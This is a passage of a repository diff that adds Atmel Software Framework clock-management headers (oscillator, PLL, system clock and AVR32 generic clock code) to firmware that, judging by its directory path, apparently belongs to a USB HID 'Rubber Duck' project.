* \fn void genclk_enable(const struct genclk_config *cfg, unsigned int id)
|
||||
* \brief Activate the configuration \a cfg on the clock identified by
|
||||
* \a id and enable it.
|
||||
*/
|
||||
/**
|
||||
* \fn void genclk_disable(unsigned int id)
|
||||
* \brief Disable the generic clock identified by \a id.
|
||||
*/
|
||||
//@}
|
||||
|
||||
//! @}
|
||||
|
||||
#endif /* CLK_GENCLK_H_INCLUDED */
|
145
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/osc.h
Executable file
145
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/osc.h
Executable file
|
@ -0,0 +1,145 @@
|
|||
/**
|
||||
* \file
|
||||
*
|
||||
* \brief Oscillator management
|
||||
*
|
||||
* Copyright (C) 2010 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* \page License
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an
|
||||
* Atmel AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
|
||||
* DAMAGE.
|
||||
*/
|
||||
#ifndef OSC_H_INCLUDED
|
||||
#define OSC_H_INCLUDED
|
||||
|
||||
#include <parts.h>
|
||||
#include "conf_clock.h"
|
||||
|
||||
#if (UC3A0 || UC3A1)
|
||||
# include "uc3a0_a1/osc.h"
|
||||
#elif UC3A3
|
||||
# include "uc3a3_a4/osc.h"
|
||||
#elif UC3B
|
||||
# include "uc3b0_b1/osc.h"
|
||||
#elif UC3C
|
||||
# include "uc3c/osc.h"
|
||||
#elif UC3D
|
||||
# include "uc3d/osc.h"
|
||||
#elif UC3L
|
||||
# include "uc3l/osc.h"
|
||||
#elif XMEGA
|
||||
# include "xmega/osc.h"
|
||||
#else
|
||||
# error Unsupported chip type
|
||||
#endif
|
||||
|
||||
/**
|
||||
* \ingroup clk_group
|
||||
* \defgroup osc_group Oscillator Management
|
||||
*
|
||||
* This group contains functions and definitions related to configuring
|
||||
* and enabling/disabling on-chip oscillators. Internal RC-oscillators,
|
||||
* external crystal oscillators and external clock generators are
|
||||
* supported by this module. What all of these have in common is that
|
||||
* they swing at a fixed, nominal frequency which is normally not
|
||||
* adjustable.
|
||||
*
|
||||
* \par Example: Enabling an oscillator
|
||||
*
|
||||
* The following example demonstrates how to enable the external
|
||||
* oscillator on XMEGA A and wait for it to be ready to use. The
|
||||
* oscillator identifiers are platform-specific, so while the same
|
||||
* procedure is used on all platforms, the parameter to osc_enable()
|
||||
* will be different from device to device.
|
||||
* \code
|
||||
osc_enable(OSC_ID_XOSC);
|
||||
osc_wait_ready(OSC_ID_XOSC); \endcode
|
||||
*
|
||||
* \section osc_group_board Board-specific Definitions
|
||||
* If external oscillators are used, the board code must provide the
|
||||
* following definitions for each of those:
|
||||
* - \b BOARD_<osc name>_HZ: The nominal frequency of the oscillator.
|
||||
* - \b BOARD_<osc name>_STARTUP_US: The startup time of the
|
||||
* oscillator in microseconds.
|
||||
* - \b BOARD_<osc name>_TYPE: The type of oscillator connected, i.e.
|
||||
* whether it's a crystal or external clock, and sometimes what kind
|
||||
* of crystal it is. The meaning of this value is platform-specific.
|
||||
*
|
||||
* @{
|
||||
*/
|
||||
|
||||
//! \name Oscillator Management
|
||||
//@{
|
||||
/**
|
||||
* \fn void osc_enable(uint8_t id)
|
||||
* \brief Enable oscillator \a id
|
||||
*
|
||||
* The startup time and mode value is automatically determined based on
|
||||
* definitions in the board code.
|
||||
*/
|
||||
/**
|
||||
* \fn void osc_disable(uint8_t id)
|
||||
* \brief Disable oscillator \a id
|
||||
*/
|
||||
/**
|
||||
* \fn osc_is_ready(uint8_t id)
|
||||
* \brief Determine whether oscillator \a id is ready.
|
||||
* \retval true Oscillator \a id is running and ready to use as a clock
|
||||
* source.
|
||||
* \retval false Oscillator \a id is not running.
|
||||
*/
|
||||
/**
|
||||
* \fn uint32_t osc_get_rate(uint8_t id)
|
||||
* \brief Return the frequency of oscillator \a id in Hz
|
||||
*/
|
||||
|
||||
#ifndef __ASSEMBLY__
|
||||
|
||||
/**
|
||||
* \brief Wait until the oscillator identified by \a id is ready
|
||||
*
|
||||
* This function will busy-wait for the oscillator identified by \a id
|
||||
* to become stable and ready to use as a clock source.
|
||||
*
|
||||
* \param id A number identifying the oscillator to wait for.
|
||||
*/
|
||||
static inline void osc_wait_ready(uint8_t id)
|
||||
{
|
||||
while (!osc_is_ready(id)) {
|
||||
/* Do nothing */
|
||||
}
|
||||
}
|
||||
|
||||
#endif /* __ASSEMBLY__ */
|
||||
|
||||
//@}
|
||||
|
||||
//! @}
|
||||
|
||||
#endif /* OSC_H_INCLUDED */
|
277
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/pll.h
Executable file
277
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/pll.h
Executable file
|
@ -0,0 +1,277 @@
|
|||
/**
|
||||
* \file
|
||||
*
|
||||
* \brief PLL management
|
||||
*
|
||||
* Copyright (C) 2010 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* \page License
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an
|
||||
* Atmel AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
|
||||
* DAMAGE.
|
||||
*/
|
||||
#ifndef CLK_PLL_H_INCLUDED
|
||||
#define CLK_PLL_H_INCLUDED
|
||||
|
||||
#include <parts.h>
|
||||
#include "conf_clock.h"
|
||||
|
||||
#if (UC3A0 || UC3A1)
|
||||
# include "uc3a0_a1/pll.h"
|
||||
#elif UC3A3
|
||||
# include "uc3a3_a4/pll.h"
|
||||
#elif UC3B
|
||||
# include "uc3b0_b1/pll.h"
|
||||
#elif UC3C
|
||||
# include "uc3c/pll.h"
|
||||
#elif UC3D
|
||||
# include "uc3d/pll.h"
|
||||
#elif XMEGA
|
||||
# include "xmega/pll.h"
|
||||
#else
|
||||
# error Unsupported chip type
|
||||
#endif
|
||||
|
||||
/**
|
||||
* \ingroup clk_group
|
||||
* \defgroup pll_group PLL Management
|
||||
*
|
||||
* This group contains functions and definitions related to configuring
|
||||
* and enabling/disabling on-chip PLLs. A PLL will take an input signal
|
||||
* (the \em source), optionally divide the frequency by a configurable
|
||||
* \em divider, and then multiply the frequency by a configurable \em
|
||||
* multiplier.
|
||||
*
|
||||
* Some devices don't support input dividers; specifying any other
|
||||
* divisor than 1 on these devices will result in an assertion failure.
|
||||
* Other devices may have various restrictions to the frequency range of
|
||||
* the input and output signals.
|
||||
*
|
||||
* \par Example: Setting up PLL0 with default parameters
|
||||
*
|
||||
* The following example shows how to configure and enable PLL0 using
|
||||
* the default parameters specified using the configuration symbols
|
||||
* listed above, and with Wide Bandwidth Mode disabled (a UC3A3-specific
|
||||
* PLL option.)
|
||||
* \code
|
||||
struct pll_config pllcfg;
|
||||
|
||||
pll_config_defaults(&pllcfg, 0);
|
||||
pll_config_set_option(&pllcfg, PLL_OPT_WBM_DISABLE);
|
||||
pll_enable(&pllcfg, 0);
|
||||
pll_wait_for_lock(0); \endcode
|
||||
*
|
||||
* When the last function call returns, PLL0 is ready to be used as the
|
||||
* main system clock source.
|
||||
*
|
||||
* \section pll_group_config Configuration Symbols
|
||||
*
|
||||
* Each PLL has a set of default parameters determined by the following
|
||||
* configuration symbols in the application's configuration file:
|
||||
* - \b CONFIG_PLLn_SOURCE: The default clock source connected to the
|
||||
* input of PLL \a n. Must be one of the values defined by the
|
||||
* #pll_source enum.
|
||||
* - \b CONFIG_PLLn_MUL: The default multiplier (loop divider) of PLL
|
||||
* \a n.
|
||||
* - \b CONFIG_PLLn_DIV: The default input divider of PLL \a n.
|
||||
*
|
||||
* These configuration symbols determine the result of calling
|
||||
* pll_config_defaults() and pll_get_default_rate().
|
||||
*
|
||||
* @{
|
||||
*/
|
||||
|
||||
//! \name Chip-specific PLL characteristics
|
||||
//@{
|
||||
/**
|
||||
* \def PLL_MAX_STARTUP_CYCLES
|
||||
* \brief Maximum PLL startup time in number of slow clock cycles
|
||||
*/
|
||||
/**
|
||||
* \def NR_PLLS
|
||||
* \brief Number of on-chip PLLs
|
||||
*/
|
||||
|
||||
/**
|
||||
* \def PLL_MIN_HZ
|
||||
* \brief Minimum frequency that the PLL can generate
|
||||
*/
|
||||
/**
|
||||
* \def PLL_MAX_HZ
|
||||
* \brief Maximum frequency that the PLL can generate
|
||||
*/
|
||||
/**
|
||||
* \def PLL_NR_OPTIONS
|
||||
* \brief Number of PLL option bits
|
||||
*/
|
||||
//@}
|
||||
|
||||
/**
|
||||
* \enum pll_source
|
||||
* \brief PLL clock source
|
||||
*/
|
||||
|
||||
//! \name PLL configuration
|
||||
//@{
|
||||
|
||||
/**
|
||||
* \struct pll_config
|
||||
* \brief Hardware-specific representation of PLL configuration.
|
||||
*
|
||||
* This structure contains one or more device-specific values
|
||||
* representing the current PLL configuration. The contents of this
|
||||
* structure is typically different from platform to platform, and the
|
||||
* user should not access any fields except through the PLL
|
||||
* configuration API.
|
||||
*/
|
||||
|
||||
/**
|
||||
* \fn void pll_config_init(struct pll_config *cfg,
|
||||
* enum pll_source src, unsigned int div, unsigned int mul)
|
||||
* \brief Initialize PLL configuration from standard parameters.
|
||||
*
|
||||
* \note This function may be defined inline because it is assumed to be
|
||||
* called very few times, and usually with constant parameters. Inlining
|
||||
* it will in such cases reduce the code size significantly.
|
||||
*
|
||||
* \param cfg The PLL configuration to be initialized.
|
||||
* \param src The oscillator to be used as input to the PLL.
|
||||
* \param div PLL input divider.
|
||||
* \param mul PLL loop divider (i.e. multiplier).
|
||||
*
|
||||
* \return A configuration which will make the PLL run at
|
||||
* (\a mul / \a div) times the frequency of \a src
|
||||
*/
|
||||
/**
|
||||
* \def pll_config_defaults(cfg, pll_id)
|
||||
* \brief Initialize PLL configuration using default parameters.
|
||||
*
|
||||
* After this function returns, \a cfg will contain a configuration
|
||||
* which will make the PLL run at (CONFIG_PLLx_MUL / CONFIG_PLLx_DIV)
|
||||
* times the frequency of CONFIG_PLLx_SOURCE.
|
||||
*
|
||||
* \param cfg The PLL configuration to be initialized.
|
||||
* \param pll_id Use defaults for this PLL.
|
||||
*/
|
||||
/**
|
||||
* \def pll_get_default_rate(pll_id)
|
||||
* \brief Get the default rate in Hz of \a pll_id
|
||||
*/
|
||||
/**
|
||||
* \fn void pll_config_set_option(struct pll_config *cfg,
|
||||
* unsigned int option)
|
||||
* \brief Set the PLL option bit \a option in the configuration \a cfg.
|
||||
*
|
||||
* \param cfg The PLL configuration to be changed.
|
||||
* \param option The PLL option bit to be set.
|
||||
*/
|
||||
/**
|
||||
* \fn void pll_config_clear_option(struct pll_config *cfg,
|
||||
* unsigned int option)
|
||||
* \brief Clear the PLL option bit \a option in the configuration \a cfg.
|
||||
*
|
||||
* \param cfg The PLL configuration to be changed.
|
||||
* \param option The PLL option bit to be cleared.
|
||||
*/
|
||||
/**
|
||||
* \fn void pll_config_read(struct pll_config *cfg, unsigned int pll_id)
|
||||
* \brief Read the currently active configuration of \a pll_id.
|
||||
*
|
||||
* \param cfg The configuration object into which to store the currently
|
||||
* active configuration.
|
||||
* \param pll_id The ID of the PLL to be accessed.
|
||||
*/
|
||||
/**
|
||||
* \fn void pll_config_write(const struct pll_config *cfg,
|
||||
* unsigned int pll_id)
|
||||
* \brief Activate the configuration \a cfg on \a pll_id
|
||||
*
|
||||
* \param cfg The configuration object representing the PLL
|
||||
* configuration to be activated.
|
||||
* \param pll_id The ID of the PLL to be updated.
|
||||
*/
|
||||
|
||||
//@}
|
||||
|
||||
//! \name Interaction with the PLL hardware
|
||||
//@{
|
||||
/**
|
||||
* \fn void pll_enable(const struct pll_config *cfg,
|
||||
* unsigned int pll_id)
|
||||
* \brief Activate the configuration \a cfg and enable PLL \a pll_id.
|
||||
*
|
||||
* \param cfg The PLL configuration to be activated.
|
||||
* \param pll_id The ID of the PLL to be enabled.
|
||||
*/
|
||||
/**
|
||||
* \fn void pll_disable(unsigned int pll_id)
|
||||
* \brief Disable the PLL identified by \a pll_id.
|
||||
*
|
||||
* After this function is called, the PLL identified by \a pll_id will
|
||||
* be disabled. The PLL configuration stored in hardware may be affected
|
||||
* by this, so if the caller needs to restore the same configuration
|
||||
* later, it should either do a pll_config_read() before disabling the
|
||||
* PLL, or remember the last configuration written to the PLL.
|
||||
*
|
||||
* \param pll_id The ID of the PLL to be disabled.
|
||||
*/
|
||||
/**
|
||||
* \fn bool pll_is_locked(unsigned int pll_id)
|
||||
* \brief Determine whether the PLL is locked or not.
|
||||
*
|
||||
* \param pll_id The ID of the PLL to check.
|
||||
*
|
||||
* \retval true The PLL is locked and ready to use as a clock source
|
||||
* \retval false The PLL is not yet locked, or has not been enabled.
|
||||
*/
|
||||
|
||||
/**
|
||||
* \brief Wait for PLL \a pll_id to become locked
|
||||
*
|
||||
* \todo Use a timeout to avoid waiting forever and hanging the system
|
||||
*
|
||||
* \param pll_id The ID of the PLL to wait for.
|
||||
*
|
||||
* \retval STATUS_OK The PLL is now locked.
|
||||
* \retval ERR_TIMEOUT Timed out waiting for PLL to become locked.
|
||||
*/
|
||||
static inline int pll_wait_for_lock(unsigned int pll_id)
|
||||
{
|
||||
Assert(pll_id < NR_PLLS);
|
||||
|
||||
while (!pll_is_locked(pll_id)) {
|
||||
/* Do nothing */
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
//@}
|
||||
//! @}
|
||||
|
||||
#endif /* CLK_PLL_H_INCLUDED */
|
150
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/sysclk.h
Executable file
150
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/sysclk.h
Executable file
|
@ -0,0 +1,150 @@
|
|||
/**
|
||||
* \file
|
||||
*
|
||||
* \brief System clock management
|
||||
*
|
||||
* Copyright (C) 2010 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* \page License
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an
|
||||
* Atmel AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
|
||||
* DAMAGE.
|
||||
*/
|
||||
#ifndef SYSCLK_H_INCLUDED
|
||||
#define SYSCLK_H_INCLUDED
|
||||
|
||||
#include <parts.h>
|
||||
#include "conf_clock.h"
|
||||
|
||||
#if (UC3A0 || UC3A1)
|
||||
# include "uc3a0_a1/sysclk.h"
|
||||
#elif UC3A3
|
||||
# include "uc3a3_a4/sysclk.h"
|
||||
#elif UC3B
|
||||
# include "uc3b0_b1/sysclk.h"
|
||||
#elif UC3C
|
||||
# include "uc3c/sysclk.h"
|
||||
#elif UC3D
|
||||
# include "uc3d/sysclk.h"
|
||||
#elif UC3L
|
||||
# include "uc3l/sysclk.h"
|
||||
#elif XMEGA
|
||||
# include "xmega/sysclk.h"
|
||||
#else
|
||||
# error Unsupported chip type
|
||||
#endif
|
||||
|
||||
/**
|
||||
* \defgroup clk_group Clock Management
|
||||
*/
|
||||
|
||||
/**
|
||||
* \ingroup clk_group
|
||||
* \defgroup sysclk_group System Clock Management
|
||||
*
|
||||
* The <em>sysclk</em> API covers the <em>system clock</em> and all
|
||||
* clocks derived from it. The system clock is a chip-internal clock on
|
||||
* which all <em>synchronous clocks</em>, i.e. CPU and bus/peripheral
|
||||
* clocks, are based. The system clock is typically generated from one
|
||||
* of a variety of sources, which may include crystal and RC oscillators
|
||||
* as well as PLLs. The clocks derived from the system clock are
|
||||
* sometimes also known as <em>synchronous clocks</em>, since they
|
||||
* always run synchronously with respect to each other, as opposed to
|
||||
* <em>generic clocks</em> which may run from different oscillators or
|
||||
* PLLs.
|
||||
*
|
||||
* Most applications should simply call sysclk_init() to initialize
|
||||
* everything related to the system clock and its source (oscillator,
|
||||
* PLL or DFLL), and leave it at that. More advanced applications, and
|
||||
* platform-specific drivers, may require additional services from the
|
||||
* clock system, some of which may be platform-specific.
|
||||
*
|
||||
* \section sysclk_group_platform Platform Dependencies
|
||||
*
|
||||
* The sysclk API is partially chip- or platform-specific. While all
|
||||
* platforms provide mostly the same functionality, there are some
|
||||
* variations around how different bus types and clock tree structures
|
||||
* are handled.
|
||||
*
|
||||
* The following functions are available on all platforms with the same
|
||||
* parameters and functionality. These functions may be called freely by
|
||||
* portable applications, drivers and services:
|
||||
* - sysclk_init()
|
||||
* - sysclk_set_source()
|
||||
* - sysclk_get_main_hz()
|
||||
* - sysclk_get_cpu_hz()
|
||||
* - sysclk_get_peripheral_bus_hz()
|
||||
*
|
||||
* The following functions are available on all platforms, but there may
|
||||
* be variations in the function signature (i.e. parameters) and
|
||||
* behaviour. These functions are typically called by platform-specific
|
||||
* parts of drivers, and applications that aren't intended to be
|
||||
* portable:
|
||||
* - sysclk_enable_peripheral_clock()
|
||||
* - sysclk_disable_peripheral_clock()
|
||||
* - sysclk_enable_module()
|
||||
* - sysclk_disable_module()
|
||||
* - sysclk_module_is_enabled()
|
||||
* - sysclk_set_prescalers()
|
||||
*
|
||||
* All other functions should be considered platform-specific.
|
||||
* Enabling/disabling clocks to specific peripherals as well as
|
||||
* determining the speed of these clocks should be done by calling
|
||||
* functions provided by the driver for that peripheral.
|
||||
*
|
||||
* @{
|
||||
*/
|
||||
|
||||
//! \name System Clock Initialization
|
||||
//@{
|
||||
/**
|
||||
* \fn void sysclk_init(void)
|
||||
* \brief Initialize the synchronous clock system.
|
||||
*
|
||||
* This function will initialize the system clock and its source. This
|
||||
* includes:
|
||||
* - Mask all synchronous clocks except for any clocks which are
|
||||
* essential for normal operation (for example internal memory
|
||||
* clocks).
|
||||
* - Set up the system clock prescalers as specified by the
|
||||
* application's configuration file.
|
||||
* - Enable the clock source specified by the application's
|
||||
* configuration file (oscillator or PLL) and wait for it to become
|
||||
* stable.
|
||||
* - Set the main system clock source to the clock specified by the
|
||||
* application's configuration file.
|
||||
*
|
||||
* Since all non-essential peripheral clocks are initially disabled, it
|
||||
* is the responsibility of the peripheral driver to re-enable any
|
||||
* clocks that are needed for normal operation.
|
||||
*/
|
||||
//@}
|
||||
|
||||
//! @}
|
||||
|
||||
#endif /* SYSCLK_H_INCLUDED */
|
|
@ -0,0 +1,129 @@
|
|||
/**
|
||||
* \file
|
||||
*
|
||||
* \brief Chip-specific generic clock management
|
||||
*
|
||||
* Copyright (C) 2010 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* \page License
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an
|
||||
* Atmel AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
|
||||
* DAMAGE.
|
||||
*/
|
||||
#ifndef CHIP_GENCLK_H_INCLUDED
|
||||
#define CHIP_GENCLK_H_INCLUDED
|
||||
|
||||
/**
|
||||
* \weakgroup genclk_group
|
||||
* @{
|
||||
*/
|
||||
|
||||
//! \name Chip-specific generic clock definitions
|
||||
//@{
|
||||
|
||||
//! The max division factor applicable to the source clock of the generic clock
|
||||
#define GENCLK_DIV_MAX ((1 << AVR32_PM_GCCTRL_DIV_SIZE) * 2)
|
||||
|
||||
#ifndef __ASSEMBLY__
|
||||
|
||||
#include <stdint.h>
|
||||
#include <avr32/io.h>
|
||||
|
||||
enum genclk_source {
|
||||
GENCLK_SRC_OSC0 = 0, //!< Oscillator 0
|
||||
GENCLK_SRC_OSC1 = 1, //!< Oscillator 1
|
||||
GENCLK_SRC_PLL0 = 2, //!< PLL 0
|
||||
GENCLK_SRC_PLL1 = 3, //!< PLL 1
|
||||
};
|
||||
|
||||
//@}
|
||||
|
||||
struct genclk_config {
|
||||
uint32_t ctrl;
|
||||
};
|
||||
|
||||
static inline void genclk_config_defaults(struct genclk_config *cfg,
|
||||
unsigned int id)
|
||||
{
|
||||
cfg->ctrl = 0;
|
||||
}
|
||||
|
||||
static inline void genclk_config_read(struct genclk_config *cfg,
|
||||
unsigned int id)
|
||||
{
|
||||
cfg->ctrl = AVR32_PM.gcctrl[id];
|
||||
}
|
||||
|
||||
static inline void genclk_config_write(const struct genclk_config *cfg,
|
||||
unsigned int id)
|
||||
{
|
||||
AVR32_PM.gcctrl[id] = cfg->ctrl;
|
||||
}
|
||||
|
||||
static inline void genclk_config_set_source(struct genclk_config *cfg,
|
||||
enum genclk_source src)
|
||||
{
|
||||
uint32_t mask;
|
||||
|
||||
mask = AVR32_PM_GCCTRL_OSCSEL_MASK | AVR32_PM_GCCTRL_PLLSEL_MASK;
|
||||
Assert(!(src & ~mask));
|
||||
|
||||
cfg->ctrl = (cfg->ctrl & ~mask) | (src << AVR32_PM_GCCTRL_OSCSEL);
|
||||
}
|
||||
|
||||
static inline void genclk_config_set_divider(struct genclk_config *cfg,
|
||||
unsigned int divider)
|
||||
{
|
||||
Assert((divider > 0) && (divider <= GENCLK_DIV_MAX));
|
||||
|
||||
/* Clear all the bits we're about to modify */
|
||||
cfg->ctrl &= ~(AVR32_PM_GCCTRL_DIVEN_MASK | AVR32_PM_GCCTRL_DIV_MASK);
|
||||
|
||||
if (divider > 1) {
|
||||
cfg->ctrl |= 1U << AVR32_PM_GCCTRL_DIVEN;
|
||||
cfg->ctrl |= ((divider >> 1) - 1) << AVR32_PM_GCCTRL_DIV;
|
||||
}
|
||||
}
|
||||
|
||||
static inline void genclk_enable(const struct genclk_config *cfg,
|
||||
unsigned int id)
|
||||
{
|
||||
AVR32_PM.gcctrl[id] = cfg->ctrl | (1U << AVR32_PM_GCCTRL_CEN);
|
||||
}
|
||||
|
||||
static inline void genclk_disable(unsigned int id)
|
||||
{
|
||||
AVR32_PM.gcctrl[id] = 0;
|
||||
}
|
||||
|
||||
|
||||
#endif /* __ASSEMBLY__ */
|
||||
|
||||
//! @}
|
||||
|
||||
#endif /* CHIP_GENCLK_H_INCLUDED */
|
|
@ -0,0 +1,431 @@
|
|||
/**
|
||||
* \file
|
||||
*
|
||||
* \brief Chip-specific oscillator management functions
|
||||
*
|
||||
* Copyright (C) 2010 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* \page License
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an
|
||||
* Atmel AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
